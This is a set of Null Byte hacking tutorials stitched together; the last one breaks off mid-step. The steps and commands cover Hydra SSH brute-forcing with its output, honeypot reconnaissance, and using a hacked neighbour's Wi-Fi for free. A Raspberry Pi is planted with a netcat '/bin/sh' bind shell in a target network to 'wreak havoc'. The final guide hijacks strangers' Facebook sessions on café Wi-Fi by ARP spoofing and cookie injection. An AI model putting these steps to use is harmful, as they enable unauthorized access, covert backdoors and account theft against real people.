[?] Do you want to use username list? [Y/n]: NBecause we declined to supply a username list, we'll have to enter one manually instead. Here, I'll entertoor, as I know that's the username for our test device.[?] Enter the username: toorNext, we'll need to set the password list. It won't work if we select a password list outside of the directory we're in, so we can now add the password list we downloaded earlier. If you followed along before, we should be able to just paste in theTop207-probable-v2.txtwordlist here.[?] Enter the path of wordlist: Top207-probable-v2.txtDon't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsStep 5: Launch the AttackFinally, we can decide if we want to use the default port or not. Some devices may host services on a port other than the standard one, but this isn't very common. For SSH, the default port is 22, so we'll just enterYand hitEnter.[?] Do you want to use default port? [Y/n]: YIf you're attacking a service on a non-standard port, you can specify it here and pressEnter. Do not accidentally type in the number of the port you want to attack here, as the script will crash.As soon as you supply the port, BruteDum will launch the tool you specified.[i] Target: 192.168.43.1
Protocol: ssh
[+] Hydra is cracking...
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-10 09:23:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 208 login tries (l:1/p:208), ~13 tries per task
[DATA] attacking ssh://192.168.43.1:22/After some time to attack the network and try all of the passwords, you'll get a result, either revealing the password or reporting that a valid password was not found.[22][ssh] host: 192.168.43.1 login: toor password: root
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-10 10:51:18
[?] Do you want to conitnue? [Y/n]: NBrute-Force Attacks Find Weak PasswordsA key thing to remember about brute-force and dictionary attacks is that they are powerful in the right place, but not a silver bullet for breaking into accounts. Weak passwords are especially easy to find with BruteDum, but more complicated passwords require longer password lists. That issue necessitates prolonged contact with the victim to burn through those longer lists, making the attack less practical and more evident to anyone watching for this kind of attack.An ideal target for these attacks is primarily IoT devices, which generally have poor security and a plethora of services running with default credentials.I hope you enjoyed this guide to brute-forcing weak login credentials with BruteDum! If you have any questions about this tutorial on brute-forcing frameworks or you have a comment, there's the comments section below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Use Facial Recognition for OSINT on Individuals & CompaniesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Create an SSH tunnel for your Mac Mini serverHow To:Create Custom Wordlists for Password Cracking Using the MentalistHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Brute-Force Nearly Any Website Login with HatchHow To:Perform Network-Based Attacks with an SBC ImplantHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:SSH into your iPhone with USBHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:SSH and FTP into a serverVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Run an FTP Server from Home with LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Hack Wireless Router Passwords & Networks Using Hydra |
Mac for Hackers: How to Install Kali Linux as a Virtual Machine « Null Byte :: WonderHowTo | We're nearly donegetting our Mac set up for hacking. If you haven't checked out previous tutorials, I'd recommend you do so first before diving right into this one.While macOS is a powerfulPOSIX-compliant operating system, some of our Linux tools do not work out of the box on it. In some cases, they can be made to run with a little bit of elbow grease. In other cases, there's alotof work involved. And then there are those tools that simply won't work at all in macOS. For example, anything involving theproc filesystem, or many of the common hacking tools for wireless networks.With a bit of know-how, you maybe able to port a tool that you want, but that's a long process and more of a side project. When we need tools, we need to be able to run them right away.Previously:How to Install RVM to Maintain Ruby Environments in macOSSince you will generally be working with a deadline and can't stop your current project, I recommend a Kali Linux virtual machine as part of your macOS toolkit. Kali comes with a large collection of pentesting tools preinstalled, and it's simple to set up. If you're a pentester or regular Null Byte user, you're probably well familiar with it already—a great deal of the tutorials here on Null Byte use Kali.In these steps, I will show you how to get a VM up and running on macOS. If you dislike running in a VM for whatever reason, there are many computers that will run Kali well enough that can be purchased for very reasonable prices, or you can just boot from a USB stick. You can also install Kali on your Mac's hard disk as another partition.Step 1: Install VirtualBoxIn order to run Kali, we will need some virtualization software first. While there are many options to choose from, such as those from VMware, I like to use Oracle's VirtualBox, whichcan be downloaded from its websitefor free. This is what I'll be using in this guide.Don't Miss:How to Create a Virtual Hacking LabWhen the file finishes downloading, mount the disk image when it appears, then double-click on the VirtualBox.pkg within.Installing VirtualBox couldn't be easier. Just continue through the on-screen instructions. You may be prompted for your password once or twice, but you probably already knew that.Once the installer has finished, launch VirtualBox from your Applications folder.Step 2: Download KaliKali images are located onits website, so you can download the one that best suits your needs from there. Kali also offers preinstalled VM imageson Offensive Security's website, including ones specifically for VirtualBox. All you would do for those is download one, then double-click on the file to open it in VirtualBox, then follow the on-screen instructions to import everything in.While the preinstalled images are super easy to install, and take no time at all to get up and running (though you will probably have to also install theExtension Packto get USB working), the ISO image will allow you more options in the configuration. Personally, I prefer the XFCE image because I like a lighter desktop environment. This means that I will be installing the machine from scratch, which I'll run through below. The default image is Gnome, which is a great environment, but it's a little heavier on system resources.Step 3: Create a New Virtual MachineClick on the New button in the top-left corner of the VirtualBox app.You will be presented with some options. I decided to name my machine "Kali Linux," then I selected "Linux" as the type, and "Debian 64-bit" as the version. Once you have selected the appropriate options, click "Continue."You will be prompted to select the memory size. This will depend on your machine's configuration, since using a lot of RAM may slow your host operating system down. I gave my guest machine 2 GB, which should be more than sufficient for Kali Linux. Once you have set a suitable amount of RAM, click the "Continue" button.Now we are presented with a choice for the guest machine's hard disk size with some options.Do not add a virtual hard disk:This allows us to run Kali Linux in live mode, essentially emulating a machine with no attached hard disk. This is the equivalent of booting Kali from a USB stick. Changes made to the file system will not persist.Create a virtual hard disk now:This allows us to create a fresh hard disk that we can install Kali Linux to. I prefer to have a virtual hard disk so that my updates are saved to the system, and so that I can store information that I've gathered about my targets on the OS. For example, Metasploit uses a database to keep track of credentials, etc.Use an existing virtual hard disk file:This is if you want to load an already created hard disk. For example, if we already had a Kali Linux hard disk image, we could load it here.Needs vary. Running in live mode is acceptable, but in some cases, you will be working on files on the VM and you want persistence. This is why I opted to create a virtual hard disk. Once you are satisfied with your option, click the "Create" button.Since I opted to create a new virtual hard disk, I have some more work to do. I selected the VDI file type because I'm not really concerned about compatibility with other virtualization software. If you need compatibility with other virtualization software, you will need to select the appropriate file type for the virtualization software. When you are satisfied with your selection, click the "Continue" button.Our next configuration step is deciding how the hard disk space will be allocated, and there are two options:Fixed size:This will create a hard disk file of the size we have selected.Dynamically allocated:This will allow the hard drive file to grow and shrink depending on the guest operating systems needs.Dynamically allocated can save a bit of space, but having a fixed size is a little bit faster. I opted for fixed size since I have plenty of space on my machine. When you're satisfied, click the "Continue" button.Next, we need to decide the size of the hard disk. I am going to allot 15 GB to my virtual drive. Kali Linux requires aminimumof 10 GB of space, so 15 should allow me wiggle room. You will also need to select the location to save your virtual hard disk. This can be done by clicking on the folder icon by the "Name" field. I usually keep mine in the Documents folder, though, it doesn't really matter where you put it. Once you are finished, click the "Create" button.On my machine with newer hardware, I was able to create the image in roughly 12 seconds. Older hardware may take longer.Step 4: Install & Run Kali LinuxIf everything went according to plan, you should have a fresh virtual machine in your VirtualBox Manager.Start the virtual machine by selecting the Kali Linux VM, and then clicking on the green "Start" button. You will be prompted to select your Kali install media. Click on the small folder icon and navigate to your Kali ISO that you downloaded in Step 2 above. Once it is selected, click the "Start" button.The machine will start up. Select your preferred installation mode in the GRUB menu, and install as usual.Don't Miss:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)And Now You Have Kali on a MacBetween the already capable macOS and a Kali Linux guest machine, your Apple should be ready to take on almost any security challenge. Coming up, we'll be diving into more tools for macOS, so stay tuned.Next Up:How to Install the Metasploit FrameworkFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bybluebay/123RF; Screenshots by Barrow/Null ByteRelatedHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:Hack WPA WiFi Passwords by Cracking the WPS PINMac for Hackers:How to Get Your Mac Ready for HackingHow To:Virtual Machine BasicsHow To:Run Kali Linux as a Windows SubsystemMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:How to Create a Smartphone Pentesting LabHow To:Fix Bidirectional Copy/Paste Issues for Kali Linux Running in VirtualBoxHack Like a Pro:How to Create a Virtual Hacking LabHow To:Exploring Kali Linux Alternatives: How to Get Started with BlackArch, a More Up-to-Date Pentesting DistroHow To:Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability.How To:Setup Practice Ctf's from Vulnhub on Kali LinuxHow To:Chain VPNs for Complete AnonymityNews:Virtualization Using KVMNews:Networking Virtual Machines Using VDEHow To:Run Windows from Inside LinuxNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Use Cygwin to Run Linux Apps on Windows |
Hack Like a Pro: How to Set Up a Honeypot & How to Avoid Them « Null Byte :: WonderHowTo | Welcome back, my aspiring hackers!Those of you who've been readingmy tutorialsfor some time now know that I am adamant regarding the necessity of learning andusing Linuxto hack. There is no substitute, period.In this tutorial, though, we will be setting up a system to attract hackers so we can catch or study them. Since nearly all of the hackers around the world are targeting Windows servers forall of their known flaws and vulnerabilities, we will be setting up a Windows system to do just that.A honeypot is a computer system that looks enticing to a hacker. It looks important and vulnerable, enough that the hacker attempts to break in. It is used to entrap hackers and as a way to study the techniques of hackers by the security community. As a hacker, it is important to know that these exist and the risks one bears if you get entrapped in one.Here, we will be setting up a honeypot. If you leave it up and running, you can observe others hackers practicing their art. In addition, we will do somereconon the honeypot to see what it looks like from the attacker's perspective.It's important to the hacker to know what these honeypots look like from the outside in order to avoid them and avoid a long prison sentence of hard labor and living on gruel three times a day.Step 1: Install KFSensorThere are a number of honeypots on the market including honeynet, honeyd, Tiny Honeypot, NetBait, and ManTrap, but we will be using a commercial honeypot,KFSensor, for Windows.KFSensor will enable us to have an authentic Windows system hosting it and we can use ourKali Linux systemto do recon on it. One of the things we want to accomplish in this tutorial is to identify ways to detect a honeypot and then run far, far away.Let's open a browser and navigate towww.kfsensor.com, then download and install the software. It's a 30-day trial, so we have a month to play with it for free.Once it is installed, right-click on the KFSensor icon and "run as administrator". You should get a set up wizard like this.After going through a few more screens in the wizard choosing the defaults, you come to the screen below that allows you to choose the native services. Let's choose all of them.Then, choose your domain name. You might want to make it sound enticing. The default isnetworksforu.com, but I made minefirstfinanacial.comhoping to make the hacker think it's a financial website.Next, you can choose an email address where you want to send the alerts.Step 2: Choose OptionsFinally, we have a few options to choose. Let's go with the defaults, but note the final option. Here it allows us to capture the packets so that we can analyze the attacks with a tool likeWiresharkor other protocol analyzer. It warns you, though, that packet captures can take up a lot of disk space; if you're trying to catch or study a hacker, it's necessary. We'll leave it disabled for now.Step 3: Set Up Your Honeypot and WatchWhen you have completed the wizard, clickFinishand you should have an application that looks like this.Step 4: Sacn with NmapNow that we have our honeypot setup, let's take the approach of the hacker. Just as if we were doing recon on a potential target, let'suse nmap to scan that system. Let's do a SYN scan:nmap -sS 192.168.1.102As you can see, we find numerous ports open. As a hacker, this is a big RED FLAG. Few commercial web servers would leave all these ports open. Not in 2014!If we go back to the honeypot, we can see that we set off an alert for a port scan in the purple highlighted area. Remember that a SYN scan does not complete a 3-way handshake, but mostintrusion detection systemsconsider many packets coming in rapid succession from one IP to be a "possible port scan". This is one reason why it is often advisable to slow your scan down with nmap's built-in speed controls.Step 5: Scan with NiktoIn an earlier guide, I showed youhow to use nikto to find vulnerabilities in web servers. Let's use it here against this honeypot../nikto.pl -h 192.168.1.102Our results tell us that this system is a default install of Microsoft's IIS 7 server. Another RED FLAG that this might be a honeypot.Step 6: Banner GrabLastly, let's try a banner grab. We canconnect with netcatto port 80 and then try to grab the web server banner, if there is one.nc 192.168.1.102 80HEAD / HTTP/1.0As you can see, we were able to grab the banner identifying the web server as Microsoft's IIS 7.5.Some Telltale Signs of a HoneypotThere is NO single telltale sign of a honeypot, but there are few things to keep in mind.The age-old adage, "if it is too good to be true, it probably is", applies as well to hacking. Those sites that seem extraordinarily easy to hack are likely traps.Look for unusual services and ports open. Most internet-facing systems are stripped of any unnecessary services. If it has lot of unusual services and ports open, these are meant to attract attackers and it may be a honeypot.If it is a default install, it may be a honeypot.If there is little or no activity, it may be a honeypot.If you see directories with names such a "social security numbers" or "credit card numbers", it may be a honeypot.If you see very little software installed, it may be a honeypot.If there is a lot of free space on the hard drive, it may be a honeypot.Be careful out there, my aspiring hackers, as I want to to keep coming back toNull Byteto refine your skills, rather than sitting in a concrete room. Keep in mind that honeypots are meant to be enticing, but it may be a trap!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal honeypotimage via Cokeisit7/Flickr,Green codeimage via ShutterstockRelatedHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1How To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Block Annoying GDPR Cookie Pop-Ups While Browsing the Web on AndroidHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)How To:Calculate Shipping Costs with UPSNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Color code your Christmas gifts to avoid destination mix-upsHow To:Block Pop-Up in Firefox, Chrome and Internet ExplorerHow To:Build your own slider camera dollyHow To:Shoot in 4K with the Selfie Camera on Your iPhone 11, 11 Pro & 11 Pro MaxHow To:Target your triceps when doing push-ups or press-upsNews:Google Assistant's 'April Foolproof' Command Will Help You Avoid Getting PrankedHow To:Make your UPS battery last a long timeHow To:Watch This Sunday's 2013 Pro Bowl Football Game OnlineHow To:Track a Package with UPSHow To:Hack a UPS with a car batteryHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Pick pockets like a proApple Maps 101:How to Avoid Highways During Driving DirectionsHow To:Ship Internationally with UPSHow To:Use the Power option on Windows 7 to maximize Pro toolsHow To:Hack a Self-Timer into Instagram & Vine for No-Touch Video Recording on a Samsung Galaxy Note 2How To:Improve Cash Flow with the UPS Billing CenterHow To:Generate Viral Memes Like a Pro with These Apps for Your iPhoneHow To:Do push-ups on a Pilates Reformer exercise machineHow To:Perform Quick Actions with Custom Status Bar GesturesNews:WATCH THIS INSTEAD - Grown UpsNews:Grown UpsFirst Round:What really grinds my gears.How To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsCamera Plus Pro:The iPhone Camera App That Does it AllHow To:The Official Google+ Insider's Guide IndexThe Film Lab:Chroma Keying in Final Cut ProNews:Vamos Começar |
How to Extend a (Hacked)Router's Range with a Wireless Adapter. « Null Byte :: WonderHowTo | Hi Elite Hackers!Welcome! to my 4th post. This tutorial will explain, how to extend a (hacked) AP's range with a wireless adapter. I made this guide because after hacking an AP it was difficult to connect to it (poor connection) and further exploit it. You can also use this:1) If you don't have a Router2) If you want to extend range of your own Router/Wi-Fi/APStep 1: Connect Your Wireless Adapter:Here, I will be using TP-LINK TL-WN822Nv3 Wireless Adapter.Step 2: Host a Network:Copy this in a notepad and save it asHost.bat(this will create a batch file)You can also go to network setting and then create an Ad-Hoc network, but that doesn't work in Windows 8 , So:--------------------------------------------------------------------------------------------------------@echo offnetsh wlan set hostednetwork mode=allow ssid=D.I.E key=diediedie keyUsage=temporarynetsh wlan start hostednetworkpause-------------------------------------------------------------------------------------------------------(don't paste these lines "----")SSIDis the name of hosted network.KEYis the password/passphrase.Step 3: Open the Batch File:OPEN IT WITH ADMINISTRATOR PRIVILEGESResult:If an error like this appears: "Cannot host network, device or resource busy...." Inform me in the Comments section.Step 4: Grant It Internet Access:Open Control Panel.Go to Network and Internet.Then Network and Sharing Center.At the left side/pane, click on Change adapter settings.You should see a Local Area Connection* 13 (D.I.E) this is your hosted network and you should also see a Wi-Fi (TP-Link... for me) connectionIf you don't see a Local Area Connection... Then:Press Windows Key + R, type devmgmt.msc in the Run dialog box and hit Enter, this should open Device Manager.In the Device Manager window, expand Network adapters, from the list pick the microsoft virtual adapter, right click and select ENABLE.Then follow this guide again.Now using your Wireless Adapter, connect to a network (a hacked network which you want to extend it's Range)I have a list of hacked APs in my locality:I will use the first one's internet connection.Here:After SUCCESSFUL connection, get back to Network Connections window.Right Click on the Wi-Fi connection, then select Properties.Go to sharing tab, then check the two check boxes.Choose Local Area Connection* 13 (or other) under the Home Networking Connection.Click OK.INTERNET ACCESS GRANTED:You have successfully extended the range of the Hacked AP.There you go your new Wi-Fi!REMEMBER TO CONNECT TO YOUR HOSTED NETWORK (D.I.E.) instead of connecting to hacked AP of-course.Also you will have to keep your PC on, you can change the settings of the wireless adapter so that it does not turn off when PC goes to SLEEP.HAVE FUN!Keep using your Neighbour's Wi-Fi for free, always, forever, no connection delays or timeouts.Keep your android connected to it. Use it as much as you can, it's yours.Come back FOR MORE!!Thank You!F.E.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack WPA wireless networks for beginners on Windows and LinuxHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Increase the range of a USB Bluetooth adapter with a high performance antennaHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointHacking Gear:10 Essential Gadgets Every Hacker Should TryHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Use your PC as a wireless router for your Xbox 360How To:Pick an Antenna for Wi-Fi HackingHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedNews:The Best Black Friday 2019 Deals for iPhone & Android ChargersHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Hack Your Car's Cassette Deck into a Wireless Bluetooth Music PlayerHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Share Your Laptop's Wireless Internet with Ethernet Devices |
The Hacks of Mr. Robot: How to Build a Hacking Raspberry Pi « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!A number of you have written me telling me how much you enjoy theMr. Robotseries onUSA Network. I am also a huge fan! If you haven't seen it yet, you should. It may be the best show on TV right now.Mr. Robotis about a young man with a social conscience (with severe social anxiety and a wicked morphine habit) who works in cyber security by day, protecting the network of Evil Corporation, while at night, is a hacker vigilante for good (does this scenario fit anyone we know?). Eventually, he gets recruited by a hacker organization known asfsociety(which looks and acts much like Anonymous) to bring down Evil Corporation.One of the more interesting parts of the show, from my perspective, is that the hacking is realistic. No swirling, animated viruses like in so many other TV shows and movies, but rather good ole command lineLinux.The Hacking Raspberry Pi in Episode 4In episode 4 ("eps1.3__da3m0ns.mp4"), Elliott, the main character, is planning on using aRaspberry Pito control the heating system of the storage room where Evil Corp is storing their tape backups. If they can raise the temperature enough in the storage room, it will render those tape backups unusable.On these tape backups are the records of 70% of the consumer debt in the world, including billions of dollars of student loans. The hackers believe that if they can destroy those records, millions of people will be free of their student loans and consumer debt held by Evil Corp.In this tutorial, I will show you how to create a hackingRaspberry Pi(for those of you are unaware, a Raspberry Pi is a tiny, inexpensive, credit-card sized computer that is powerful) that can be controlled remotely, similar to what Elliott onMr. Robotis about to use in this episode.Step 1: Download the ARM Version of KaliThe first step, of course, is to download the ARM version of Kali. Raspberry Pi and many mobile devices use ARM CPUs as they are more energy efficient and cooler, so the Kali operating system must be compiled specifically for it.Fortunately, the goods folks at Offensive Security have already done this for us. Navigate toOffensive Security's download pageto get the Raspberry Pi file. Once you have downloaded the image, unzip it with WinRAR, WinZip, or any other archiving tool that can unzip files.Step 2: Download & Install Win32 Disk ImagerNow we need to install the Win32 Disk Imager, which you candownload from SourceForge. This tool enables us to write the image to an SD card or USB drive. I recommend a fast SD card of at least 4 GB. You can buy a 16 GB now for about 7 dollars.Step 3: Run Disk ImagerNow that you have installed Disk Imager, right click on it and run it as "administrator."Select the Kali image in the "Image File" window, direct the image to your SD card in the "Device" window, then click on the "Write" button. Be patient, this can take sometime.If you using Linux, things are bit simpler. No need to download anything. You simply use theddcommand (among other things, the dd command is used to create a disk image indigital forensics). If we assume the image is named Kali-RPI.img and the SD card is at/dev/sdcand we want it to copy in 512k block size (bs), then we simply need to type:kali >dd if =Kali-RPI.img of = /dev/sdc bs=512kStep 4: Install the SD Card in the Raspberry PiWe need to remove the SD card from your PC and now install the SD card into our Raspberry Pi and boot it up. When it boots up, it takes you to a command line opening asking you for your username and password. Type in:username: rootpassword: toorThen type:kali > startxThis starts the X11 GUI for Kali. Success! Now you have an tiny Kali hacking tool that can be placed anywhere!Step 5: Start a Cryptcat Listener on Raspberry PiNow, that we have Raspberry Pi running Kali, we can place it anywhere within the Evil Corporation network. Raspberry Pi has an Ethernet connection and you can add a wireless adapter. The Raspberry Pi is so small it can be hidden in numerous places. These include inside a desktop computer, inside a telephone, clock, etc. without being noticed.Image viaThe Security BloggerOnce it is connected, we can start aNetcat listener(Netcat is built into Kali) on it by typing:kali > nc -l -p6996 -e /bin/shThis will enable Elliott to connect to a terminal on the Raspberry Pi from anywhere using port 6996.Now, Elliott can connect back to the Raspberry Pi by using Netcat on his Kali system and typing:kali > nc 192.168.1.105 6996When he typesifconfig, he can see that he has a terminal on the Raspberry Pi ready to do some hacking of Evil Corp's HVAC system! Make certain to use the IP address of the Raspberry Pi in your environment.Of course, there are other methods to connecting back to the Raspberry Pi. He could use SSH, and if he wanted a GUI, install the VNC Server and connect back to it with full GUI control over Kali. The problem with both of those methods is that they are more likely to be detected by Evil Corporation's perimeter network defenses.Step 6: Wreak HavocNow that Elliott has a Kali installation within Evil Corporation's network, he should be able to use the multitude of tools available for wreaking havoc on Evil Corporation in Kali. In episode 4, he wants to control the HVAC system and turn up the heat to melt the backup tapes. He should be able to do that now that he has embedded Kali within Evil Corporation's network.As this show progresses and Elliott demonstrates more hacks, I will try to keep you up on how he does them. Keep coming back, my greenhorn hackers, as I try to show youthe hacks of Mr. Robot.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via USA NetworksRelatedHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformHow To:Build a Portable Pen-Testing Pi BoxHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiNews:College Kids Hack a Coffeemaker & Amazon's Alexa into a Fun WTF RobotHow To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Radio Frequencies:Hijacking FM Radio with a Raspberry Pi & WireRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallRaspberry Pi:Physical Backdoor Part 1How To:Modify the USB Rubber Ducky with Custom FirmwareRaspberry Pi:MetasploitHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Things to Do on WonderHowTo (02/08 - 02/14) |
Exploit Building « Null Byte :: WonderHowTo | No content found. |
How to Become an Elite Hacker, Part 2: Spoofing Cookies to Hack Facebook Sessions « Null Byte :: WonderHowTo | Welcome back, my fellow hackerians! Today we'll be hacking Facebook profiles on your local network. You may think, "How is this useful, nobody but me is using my network." Well, you can use this on other Wi-Fi networks that are available for free (like at Starbucks) and crack their precious Facebook profile!Quick note: This only works if your target is actually browsing through Facebook overhttp(not https) at the time you're doing the hack.How?We are going to use a well known method called "The cookie injection method." This might be far off from becoming "elite," but you need to get familiar with your Linux distribution first.Step 1: Get the Right "Stuff"For this hack, you'll need a few things. Nothing special, but you'll need this stuff. My best suggestion is that you first install BackTrack, Kali Linux, or Bugtraq because they have almost everything we need.For this little magic trick, we'll need:A working Linux distribution (preferably Kali, Backtrack or Bugtraq)Wireshark (a packet sniffer)Firefox (web browser)Nmap (scanner)Greasemonkey (addon for Firefox)Cookie injector (script for Greasemonkey)*Now let's start doing some magic! :D*Step 2: Network ScanFirst, to actually connect to a target, we'll need an IP address. In order to get that, you'll need to do a network scan with Nmap. So go ahead and boot up your terminal and enter the following command:nmap -F 192.168.xx.xx/24Note: If this doesn't work, use10.0.x.x/24instead.This command will scan your network for any IP addresses connected to it. The-Fgives the console the instruction to use "Fast mode." If done correctly, you should see something like this:That's how your Nmap scan should look like.Step 3: Starting the Man-in-the-Middle AttackNow we're going to start a man-in-the-middle attack, MITM for short.An MITM attack is an attack were we spoof our MAC address so that when a server/responding person sends a message to the other, he won't be receiving that message, but he will receive messages that we send, as we're the Man in the middle.This might help you understand:A man-in-the-middle attack!Starting the AttackTo start, enter the following command in a NEW terminal window:sudo echo 1 >> /proc/sys/net/ipv4/ip_forwardThis will forward your IP address. Now we're starting the MITM by opening a NEW terminal window and entering this command:sudo arpspoof -i [Interface] -t [target] [default gateway]If you don't know your interface and default gateway, start a new terminal and enter:ifconfig.This is the result form the arpspoof.Open (once again -_-) a new terminal window and enter the following command:sudo arpspoof -i [interface] -t [default gateway] [target]Another result from the arpspoof!Note: After you entered both the arpspoof commandsDON'T CLOSE THE TERMINALS.Step 4: Firefox and Wireshark (Almost Done!)We need a few more things in order to complete this hack!First installFirefox,thenGreasemonkeyand thecookie injectorscript. Then, install Wireshark, which you can do by entering this command into a terminal window:sudo apt-get install wiresharkAfter that, open up a Wireshark session (open a terminal and entersudo Wiresharkas command). Select your interface and start capturing. At the top, you should see an input box where you can add filters. Now enter this filter:http.cookie contains DATRNow you should get a list in 